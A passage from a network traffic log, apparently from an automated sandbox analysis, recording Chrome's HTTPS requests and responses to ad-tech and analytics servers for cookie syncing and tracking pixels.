2024-01-10 23:27:25 UTC	871	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18p2~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:25 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58824/sync?_origin=0&dpid=57926&ovsid=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8&gdpr=0&redir=true Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:25 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.4	50300	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	2830	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9ODImdGw9MTU3NjgwMCZkcF9pZD0yMg==&piggybackCookie=8266606981038422920&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6; KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; KRTBCOOKIE_80=22987-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23025-CAESEPI9hVJH5w22DLuOR_CuGrs&KRTB&23386-CAESEPI9hVJH5w22DLuOR_CuGrs; SPugT=1704929239; chkChromeAb67Sec=2; pi=0:4; DPSync3=1706054400%3A262_261_260_259_201_263%7C1704931200%3A248%7C1705449600%3A265; SyncRTB3=1706054400%3A250_104_165_3_178_54_22_55_5_231_71_166_220_21_13_8%7C1705449600%3A223_2_15%7C1705708800%3A63; KRTBCOOKIE_57=22776-7367141199740274687&KRTB&23339-7367141199740274687; KRTBCOOKIE_153=1923-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&19420-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&22979-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-&KRTB&23462-L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI-; KRTBCOOKIE_107=1471-uid:Rw6Yt2Jl1RnHYF5&KRTB&23421-uid:Rw6Yt2Jl1RnHYF5; KRTBCOOKIE_1278=23329-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23340-c1104da8-8b46-4cf5-be20-49100dc0f27c&KRTB&23498-c1104da8-8b46-4cf5-be20-49100dc0f27c; KRTBCOOKIE_18=22947-968062845637553879; KRTBCOOKIE_860=16335-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23334-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23417-iM6nzEFLWTFEkJOJAAs0EGalMCo&KRTB&23426-iM6nzEFLWTFEkJOJAAs0EGalMCo; KRTBCOOKIE_469=8273-875421843233&KRTB&23428-875421843233; KRTBCOOKIE_466=16530-f6435827-796b-4521-81e9-11e581628f69; KRTBCOOKIE_27=16735-uid:d579659f-27da-4200-92f9-660cb89fa4ac; KRTBCOOKIE_904=23554-e9qoKPUsCQSvHM9C2yefZQ&KRTB&23557-e9qoKPUsCQSvHM9C2yefZQ; PugT=1704890143
2024-01-10 23:27:25 UTC	644	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:24 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_22=14911-8266606981038422920&KRTB&23150-8266606981038422920&KRTB&23527-8266606981038422920; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ Set-Cookie: PugT=1704929244; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:24 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:25 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.4	50308	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	815	OUT	GET /sync?ssp=pubmatic&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
2024-01-10 23:27:25 UTC	319	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //rtb.adstanding.com/ssp/bidswitch/cookie?bidswitch_ssp_id=pubmatic&bidswitch_custom_parameter=f6435827-796b-4521-81e9-11e581628f69

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.4	50318	3.225.218.10	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1184	OUT	GET /ups/58160/sync?_origin=1&uid=LR8EUG12-1F-5JG4&redir=true&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z"
2024-01-10 23:27:25 UTC	860	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19ac~2g3z:19aj~2g3z:19bn~2g3z:19bu~2g3z:19cu~2g3z:19cw~2g3z:19e0~2g3z:19e7~2g3z:18yj~2g3z:18yw~2g3z:18vk~2g3z";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:25 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ups.analytics.yahoo.com/ups/58824/sync?_origin=0&dpid=58160&ovsid=LR8EUG12-1F-5JG4&gdpr=0&redir=true&us_privacy=1YNN Age: 0 Connection: close Server: ATS/9.1.10.94 Set-Cookie: A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; Expires=Fri, 10 Jan 2025 05:27:25 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.4	50315	3.222.135.61	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	764	OUT	GET /insync?vxii_pid=10067&vxii_pdid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: thrtle.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDQzNTAsInQiOjF9
2024-01-10 23:27:25 UTC	353	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close P3p: CP="NOI OUR BUS UNI COM NAV" Set-Cookie: mc=eyJpZCI6IjcxYTRkYTFhLWJiNzgtNDU1NS04ZDBkLTNjMWFhOWQ3OTcwZSIsImwiOjE3MDQ5MjkyNDUxMzgsInQiOjJ9; Path=/; Domain=thrtle.com; Expires=Sun, 28 Jul 2024 23:27:25 GMT; Secure; SameSite=None
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.4	50326	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	1260	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=r1&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8; data-so=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~8; data-c=94a96463-4da4-468a-ab35-7f2fcadb375f~~1; data-mf=20ed5203-3644-4449-ae7b-5e053499d8b1~~1; data-xu=Rw6Yt2Jl1RnHYF5~~8; data-co=AAAHl1xS8mtEBQMjNkpRAAAAAAA~~8; data-ze=v79p4FQcaoSFEzqKnYP-~~1; data-c-ts=1704929240; data-o=b6718352-3281-0abd-1f7e-c94ddda5ae48~~8; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-r=LR8EUG12-1F-5JG4~~1
2024-01-10 23:27:25 UTC	652	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-r1=RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005~~8;Expires=Wed, 08 Jan 2025 23:27:25 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:25 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:25 GMT Connection: close
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:25 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.4	50331	192.184.68.215	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	794	OUT	GET /pixel/p-5aWVS_roA1dVM.gif?idmatch=0&gdpr=0&gdpr_consent= HTTP/1.1 Host: cms.quantserve.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: d=EIUBCwHvKvijAA; mc=659f27d9-48ea1-51c4a-7520e
2024-01-10 23:27:25 UTC	494	IN	HTTP/1.1 302 Found Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Cache-Control: private, no-cache, no-store, proxy-revalidate Expires: Fri, 04 Aug 1978 12:00:00 GMT Location: https://image2.pubmatic.com/AdServer/Pug?gdpr=0&vcode=bz0yJnR5cGU9MSZjb2RlPTExMTMmdGw9NDMyMDA=&piggybackCookie=L54fEiucQk00nx4ReJoLQSjIEhU0nBNGKc6P_GI- Pragma: no-cache Strict-Transport-Security: max-age=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.4	50330	35.211.178.172	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	805	OUT	GET /sync?dsp_id=457&user_id=NzFjM2MzNGVhMzQ0YjdiNg&gdpr=0&gdpr_consent=&us_privacy=&ssp=medianet&bsw_param=f6435827-796b-4521-81e9-11e581628f69 HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929239
2024-01-10 23:27:25 UTC	540	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //contextual.media.net/cksync.php?cs=1&type=bs&ovsid=f6435827-796b-4521-81e9-11e581628f69&gdpr=0&gdpr_consent=&gdpr_pd= Set-Cookie: cs=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure Set-Cookie: bsw_origin_init=; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.4	50329	38.91.45.7	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	802	OUT	GET /usersync/141?gdpr=0&gdpr_consent= HTTP/1.1 Host: match.deepintent.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: CDIUSER=di_1673c61b98ba4fbcabc0c; CDIPARTNERS=%7B%221%22%3A%2220240110%22%7D
2024-01-10 23:27:25 UTC	704	IN	HTTP/1.1 303 See Other p3p: policyref='http://cdn.deepintent.com/p3p.xml', CP='NON CUR DEV TAI' location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTM0MzAmdGw9MTI5NjAw&piggybackCookie=di_1673c61b98ba4fbcabc0c set-cookie: CDIUSER=di_1673c61b98ba4fbcabc0c; Max-Age=47260800; SameSite=None; Expires=Thu, 10 Jul 2025 23:27:25 GMT; Domain=deepintent.com; Secure; Path=/ set-cookie: CDIPARTNERS=%7B%221%22%3A%2220240110%22%2C%22141%22%3A%2220240110%22%7D; Max-Age=47260800; SameSite=None; Expires=Thu, 10 Jul 2025 23:27:25 GMT; Domain=deepintent.com; Secure; Path=/ content-type: image/gif content-length: 0 date: Wed, 10 Jan 2024 23:27:24 GMT server: a connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.4	50332	207.198.113.87	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	724	OUT	GET /dmp/pixelSync?nid=3&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042; _ssuma=eyI0NSI6MTcwNDkyOTI0NDgyM30
2024-01-10 23:27:25 UTC	761	IN	HTTP/1.1 302 cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=ab25e982-1377-4641-a931-12c3dc8e9d24#1704929244042; Domain=.sitescout.com; Expires=Thu, 09-Jan-2025 23:27:25 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcwNDkyOTI0NTM5OX0; Domain=.sitescout.com; Expires=Fri, 09-Feb-2024 23:27:25 GMT; Path=/; Secure; SameSite=None location: https://image2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTE5NjkmdGw9MTI5NjAw&piggybackCookie=ab25e982-1377-4641-a931-12c3dc8e9d24-659f27dc-5553&gdpr=0&gdpr_consent= content-length: 0 date: Wed, 10 Jan 2024 23:27:24 GMT server: A connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.4	50338	68.67.160.76	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	807	OUT	GET /prebid/setuid?bidder=rubicon&uid=LR8EUG12-1F-5JG4&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=7367141199740274687; XANDR_PANID=qFI7Su_GC9_9RK1nPBjtvu_DxAoY4STz0CCs3RfmJo9qNGkr1v7Yn176QLAtsYdMFTvx6BdlCl9mWPfudDrPCVoy1r3PDObk_Zh5tqbw-0I.
2024-01-10 23:27:25 UTC	1580	IN	HTTP/1.1 200 OK Server: nginx/1.21.3 Date: Wed, 10 Jan 2024 23:27:25 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Set-Cookie: XANDR_PANID=y87aqlGPJwPXfNowV2KFQ6yVRZ3ZOO61UArgs9uasaMyX1qt9_f4WFXoWTM28FYbZXeS8Ja2kSYqlrDcqivTT9uHryxWdAZJJ4czq7QVd60.; SameSite=None; Path=/; Max-Age=314496000; Domain=.adnxs.com; Secure; Partitioned AN-X-Request-Uuid: e1551634-4a2b-4a65-b75c-18f9b1045dfa Set-Cookie: anj=dTM7k!M4/YCxrEQF']wIg2GU$wr1(w!]tbP6j2F-.aDabByFnKcfM7C5>YM2<Gz6dkD<##:/`Q28EWrxqF1`b^uw(]na#; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:25 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxSOEVVRzEyLTFGLTVKRzQiLCJleHBpcmVzIjoiMjAyNC0wNC0wOVQyMzoyNzoyNVoifX0sImJpcnRoZGF5IjoiMjAyNC0wMS0xMFQyMzoyNzoyNVoifQ==; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:25 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=7367141199740274687; SameSite=None; Path=/; Max-Age=7776000; Expires=Tue, 09-Apr-2024 23:27:25 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.42; 102.165.48.42; 678.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com
2024-01-10 23:27:25 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.4	50335	52.45.141.6	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:25 UTC	755	OUT	GET /sync?pid=187&uid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.bfmio.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __187_cid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; __io_cid=5faf053de5eb89059312b8e6b3a91eb67e185036
2024-01-10 23:27:25 UTC	420	IN	HTTP/1.1 204 Date: Wed, 10 Jan 2024 23:27:24 GMT Set-Cookie: __187_cid=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; Domain=.bfmio.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 18:27:25 GMT-0500; Path=/; SameSite=None; Secure Set-Cookie: __io_cid=5faf053de5eb89059312b8e6b3a91eb67e185036; Domain=.bfmio.com; Max-Age=31536000; Expires=Thu, 09-Jan-2025 18:27:25 GMT-0500; Path=/; SameSite=None; Secure Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.4	50333	54.208.16.196	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
